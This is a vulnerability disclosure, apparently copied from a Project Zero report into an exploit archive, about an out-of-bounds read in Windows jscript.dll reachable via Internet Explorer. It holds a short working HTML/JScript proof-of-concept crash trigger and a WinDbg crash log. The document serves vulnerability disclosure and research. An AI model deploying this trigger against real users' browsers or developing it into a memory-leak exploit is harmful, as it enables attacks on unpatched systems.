Microsoft Windows - 'jscript!RegExpFncObj::LastParen' Out-of-Bounds Read

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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1382

There is an out-of-bounds read in jscript.dll library (used in IE, WPAD and other places):

PoC for IE (note: page heap might be required to obsorve the crash):

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<!-- saved from url=(0014)about:internet -->
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">

function go() {
  var r= new RegExp(Array(100).join('()'));
  ''.search(r);
  alert(RegExp.lastParen);
}

go();

</script>

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Debug log:

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(cec.a14): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
jscript!RegExpFncObj::LastParen+0x43:
000007fe`f23d3813 4863accbac000000 movsxd  rbp,dword ptr [rbx+rcx*8+0ACh] ds:00000000`04770154=????????

0:014> r
rax=0000000000000063 rbx=000000000476fd90 rcx=0000000000000063
rdx=0000000000000064 rsi=000000000476fd90 rdi=000007fef23d37d0
rip=000007fef23d3813 rsp=00000000130f9090 rbp=00000000130f9148
 r8=00000000130f9210  r9=0000000000000000 r10=000000000463fef0
r11=000000000463ff38 r12=0000000000000083 r13=0000000000000000
r14=00000000130f9210 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
jscript!RegExpFncObj::LastParen+0x43:
000007fe`f23d3813 4863accbac000000 movsxd  rbp,dword ptr [rbx+rcx*8+0ACh] ds:00000000`04770154=????????

0:014> k
 # Child-SP          RetAddr           Call Site
00 00000000`130f9090 000007fe`f2385e6d jscript!RegExpFncObj::LastParen+0x43
01 00000000`130f90e0 000007fe`f236b293 jscript!NameTbl::GetVal+0x3d5
02 00000000`130f9170 000007fe`f2369d27 jscript!VAR::InvokeByName+0x873
03 00000000`130f9380 000007fe`f2368ec2 jscript!CScriptRuntime::Run+0x373
04 00000000`130fa180 000007fe`f23694b3 jscript!ScrFncObj::CallWithFrameOnStack+0x162
05 00000000`130fa390 000007fe`f23686ea jscript!NameTbl::InvokeInternal+0x2d3
06 00000000`130fa4b0 000007fe`f23624b8 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea
07 00000000`130fa500 000007fe`f2368ec2 jscript!CScriptRuntime::Run+0x5a6
08 00000000`130fb300 000007fe`f2368d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162
09 00000000`130fb510 000007fe`f2368b95 jscript!ScrFncObj::Call+0xb7
0a 00000000`130fb5b0 000007fe`f236e6c0 jscript!CSession::Execute+0x19e
0b 00000000`130fb680 000007fe`f23770e7 jscript!COleScript::ExecutePendingScripts+0x17a
0c 00000000`130fb750 000007fe`f23768d6 jscript!COleScript::ParseScriptTextCore+0x267
0d 00000000`130fb840 000007fe`e9a85251 jscript!COleScript::ParseScriptText+0x56
0e 00000000`130fb8a0 000007fe`ea20b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1
0f 00000000`130fb920 000007fe`e9a86256 MSHTML!CScriptCollection::ParseScriptText+0x37f
10 00000000`130fba00 000007fe`e9a85c8e MSHTML!CScriptData::CommitCode+0x3d9
11 00000000`130fbbd0 000007fe`e9a85a11 MSHTML!CScriptData::Execute+0x283
12 00000000`130fbc90 000007fe`ea2446fb MSHTML!CHtmScriptParseCtx::Execute+0x101
13 00000000`130fbcd0 000007fe`e9b28a5b MSHTML!CHtmParseBase::Execute+0x235
14 00000000`130fbd70 000007fe`e9a02e39 MSHTML!CHtmPost::Broadcast+0x90
15 00000000`130fbdb0 000007fe`e9a5caef MSHTML!CHtmPost::Exec+0x4bb
16 00000000`130fbfc0 000007fe`e9a5ca40 MSHTML!CHtmPost::Run+0x3f
17 00000000`130fbff0 000007fe`e9a5da12 MSHTML!PostManExecute+0x70
18 00000000`130fc070 000007fe`e9a60843 MSHTML!PostManResume+0xa1
19 00000000`130fc0b0 000007fe`e9a46fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43
1a 00000000`130fc100 000007fe`ea274f78 MSHTML!CDwnChan::OnMethodCall+0x41
1b 00000000`130fc130 000007fe`e9969d75 MSHTML!GlobalWndOnMethodCall+0x240
1c 00000000`130fc1d0 00000000`771f9bbd MSHTML!GlobalWndProc+0x150
1d 00000000`130fc250 00000000`771f98c2 USER32!UserCallWinProcCheckWow+0x1ad
1e 00000000`130fc310 000007fe`f2694a87 USER32!DispatchMessageWorker+0x3b5
1f 00000000`130fc390 000007fe`f269babb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
20 00000000`130ff610 000007fe`fe4c572f IEFRAME!LCIETab_ThreadProc+0x3a3
21 00000000`130ff740 000007fe`f535925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f
22 00000000`130ff770 00000000`772f59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
23 00000000`130ff7c0 00000000`7742a561 kernel32!BaseThreadInitThunk+0xd
24 00000000`130ff7f0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d

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